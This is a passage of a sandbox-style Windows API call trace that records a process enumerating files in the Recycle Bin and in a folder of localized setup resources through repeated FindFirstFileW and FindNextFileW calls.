ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x4290640 [0100.766] FindNextFileW (in: hFindFile=0x4290640, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xbaec25, ftCreationTime.dwHighDateTime=0x1d112e4, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0100.766] FindNextFileW (in: hFindFile=0x4290640, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-18", cAlternateFileName="")) returned 1 [0100.766] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4280048 [0100.766] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-18\\*", lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290740 [0100.766] FindNextFileW (in: hFindFile=0x4290740, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.766] FindNextFileW (in: hFindFile=0x4290740, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0100.766] FindNextFileW (in: hFindFile=0x4290740, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xae73cae3, ftCreationTime.dwHighDateTime=0x1d32742, ftLastAccessTime.dwLowDateTime=0xae73cae3, ftLastAccessTime.dwHighDateTime=0x1d32742, ftLastWriteTime.dwLowDateTime=0xae73cae3, ftLastWriteTime.dwHighDateTime=0x1d32742, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0100.766] FindClose (in: hFindFile=0x4290740 | out: hFindFile=0x4290740) returned 1 [0100.766] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0100.766] FindNextFileW (in: hFindFile=0x4290640, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 1 [0100.766] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x4280048 [0100.766] FindFirstFileW (in: lpFileName="C:\\$Recycle.Bin\\S-1-5-21-1051304884-625712362-2192934891-1000\\*", lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290700 [0100.766] FindNextFileW (in: hFindFile=0x4290700, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0100.766] FindNextFileW (in: hFindFile=0x4290700, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 1 [0100.767] FindNextFileW (in: hFindFile=0x4290700, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x26, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0xcb9438a8, ftLastAccessTime.dwHighDateTime=0x1d32714, ftLastWriteTime.dwLowDateTime=0xcb9438a8, ftLastWriteTime.dwHighDateTime=0x1d32714, nFileSizeHigh=0x0, nFileSizeLow=0x81, dwReserved0=0x0, dwReserved1=0x0, cFileName="desktop.ini", cAlternateFileName="")) returned 0 [0100.767] FindClose (in: hFindFile=0x4290700 | out: hFindFile=0x4290700) returned 1 [0100.767] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x4280048 | out: hHeap=0x5c0000) returned 1 [0100.767] FindNextFileW (in: hFindFile=0x4290640, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x16, ftCreationTime.dwLowDateTime=0xcb9438a8, ftCreationTime.dwHighDateTime=0x1d32714, ftLastAccessTime.dwLowDateTime=0x11a5eef8, ftLastAccessTime.dwHighDateTime=0x1d3375b, ftLastWriteTime.dwLowDateTime=0x11a5eef8, ftLastWriteTime.dwHighDateTime=0x1d3375b, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="S-1-5-21-1051304884-625712362-2192934891-1000", cAlternateFileName="S-1-5-~1")) returned 0 [0100.767] FindClose (in: hFindFile=0x4290640 | out: hFindFile=0x4290640) returned 1 [0100.767] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x3c60940 | out: hHeap=0x5c0000) returned 1 [0100.768] FindNextFileW (in: hFindFile=0x5d9a58, lpFindFileData=0x32bfcf8 | out: lpFindFileData=0x32bfcf8*(dwFileAttributes=0x22, ftCreationTime.dwLowDateTime=0x85776261, ftCreationTime.dwHighDateTime=0x1d3276f, ftLastAccessTime.dwLowDateTime=0x85776261, ftLastAccessTime.dwHighDateTime=0x1d3276f, ftLastWriteTime.dwLowDateTime=0x85776261, ftLastWriteTime.dwHighDateTime=0x1d3276f, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="$WINRE_BACKUP_PARTITION.MARKER", cAlternateFileName="$WINRE~1.MAR")) returned 1 [0100.768] FindNextFileW (in: hFindFile=0x5d9a58, lpFindFileData=0x32bfcf8 | out: lpFindFileData=0x32bfcf8*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x77bb0000, dwReserved1=0x0, cFileName="588bce7c90097ed212", cAlternateFileName="588BCE~1")) returned 1 [0100.768] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x3c60940 [0100.768] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\*", lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName=".", cAlternateFileName="")) returned 0x42903c0 [0101.012] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf257ded5, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf39a4e7e, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf74cd515, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="..", cAlternateFileName="")) returned 1 [0101.079] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1025", cAlternateFileName="")) returned 1 [0101.079] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x42a1060 [0101.079] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1025\\*", lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290680 [0101.081] FindNextFileW (in: hFindFile=0x4290680, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.081] FindNextFileW (in: hFindFile=0x4290680, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x1d8f, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0101.081] FindNextFileW (in: hFindFile=0x4290680, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x121e6, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0101.081] FindNextFileW (in: hFindFile=0x4290680, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0101.081] FindNextFileW (in: hFindFile=0x4290680, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4358, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0101.082] FindClose (in: hFindFile=0x4290680 | out: hFindFile=0x4290680) returned 1 [0101.082] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0101.082] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1028", cAlternateFileName="")) returned 1 [0101.082] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x42a1060 [0101.082] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1028\\*", lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290340 [0101.083] FindNextFileW (in: hFindFile=0x4290340, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf3768b28, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.083] FindNextFileW (in: hFindFile=0x4290340, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0x18a5, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0101.083] FindNextFileW (in: hFindFile=0x4290340, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0xed90, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0101.083] FindNextFileW (in: hFindFile=0x4290340, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0101.084] FindNextFileW (in: hFindFile=0x4290340, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x3758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0101.084] FindClose (in: hFindFile=0x4290340 | out: hFindFile=0x4290340) returned 1 [0101.084] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0101.084] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1029", cAlternateFileName="")) returned 1 [0101.084] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x42a1060 [0101.084] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1029\\*", lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x42905c0 [0101.085] FindNextFileW (in: hFindFile=0x42905c0, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf37428cd, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.086] FindNextFileW (in: hFindFile=0x42905c0, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xe8e, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0101.086] FindNextFileW (in: hFindFile=0x42905c0, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x13c4a, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0101.086] FindNextFileW (in: hFindFile=0x42905c0, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 [0101.086] FindNextFileW (in: hFindFile=0x42905c0, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 0 [0101.087] FindClose (in: hFindFile=0x42905c0 | out: hFindFile=0x42905c0) returned 1 [0101.087] HeapFree (in: hHeap=0x5c0000, dwFlags=0x0, lpMem=0x42a1060 | out: hHeap=0x5c0000) returned 1 [0101.087] FindNextFileW (in: hFindFile=0x42903c0, lpFindFileData=0x32bfa7c | out: lpFindFileData=0x32bfa7c*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x240000, cFileName="1030", cAlternateFileName="")) returned 1 [0101.087] RtlAllocateHeap (HeapHandle=0x5c0000, Flags=0x0, Size=0xfffe) returned 0x42a1060 [0101.087] FindFirstFileW (in: lpFileName="C:\\588bce7c90097ed212\\1030\\*", lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x4290480 [0101.088] FindNextFileW (in: hFindFile=0x4290480, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xf371c69a, ftCreationTime.dwHighDateTime=0x1d327bd, ftLastAccessTime.dwLowDateTime=0xf378ed8a, ftLastAccessTime.dwHighDateTime=0x1d327bd, ftLastWriteTime.dwLowDateTime=0xf37db23a, ftLastWriteTime.dwHighDateTime=0x1d327bd, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1 [0101.088] FindNextFileW (in: hFindFile=0x4290480, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x69d9e300, ftCreationTime.dwHighDateTime=0x1cac0d3, ftLastAccessTime.dwLowDateTime=0x69d9e300, ftLastAccessTime.dwHighDateTime=0x1cac0d3, ftLastWriteTime.dwLowDateTime=0x69d9e300, ftLastWriteTime.dwHighDateTime=0x1cac0d3, nFileSizeHigh=0x0, nFileSizeLow=0xcf2, dwReserved0=0x0, dwReserved1=0x0, cFileName="eula.rtf", cAlternateFileName="")) returned 1 [0101.088] FindNextFileW (in: hFindFile=0x4290480, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0x5398dc00, ftCreationTime.dwHighDateTime=0x1cac6fe, ftLastAccessTime.dwLowDateTime=0x5398dc00, ftLastAccessTime.dwHighDateTime=0x1cac6fe, ftLastWriteTime.dwLowDateTime=0x5398dc00, ftLastWriteTime.dwHighDateTime=0x1cac6fe, nFileSizeHigh=0x0, nFileSizeLow=0x12fb4, dwReserved0=0x0, dwReserved1=0x0, cFileName="LocalizedData.xml", cAlternateFileName="LOCALI~1.XML")) returned 1 [0101.088] FindNextFileW (in: hFindFile=0x4290480, lpFindFileData=0x32bf800 | out: lpFindFileData=0x32bf800*(dwFileAttributes=0x80, ftCreationTime.dwLowDateTime=0xe40ff600, ftCreationTime.dwHighDateTime=0x1cac6d7, ftLastAccessTime.dwLowDateTime=0xe40ff600, ftLastAccessTime.dwHighDateTime=0x1cac6d7, ftLastWriteTime.dwLowDateTime=0xe40ff600, ftLastWriteTime.dwHighDateTime=0x1cac6d7, nFileSizeHigh=0x0, nFileSizeLow=0x4758, dwReserved0=0x0, dwReserved1=0x0, cFileName="SetupResources.dll", cAlternateFileName="SETUPR~1.DLL")) returned 1 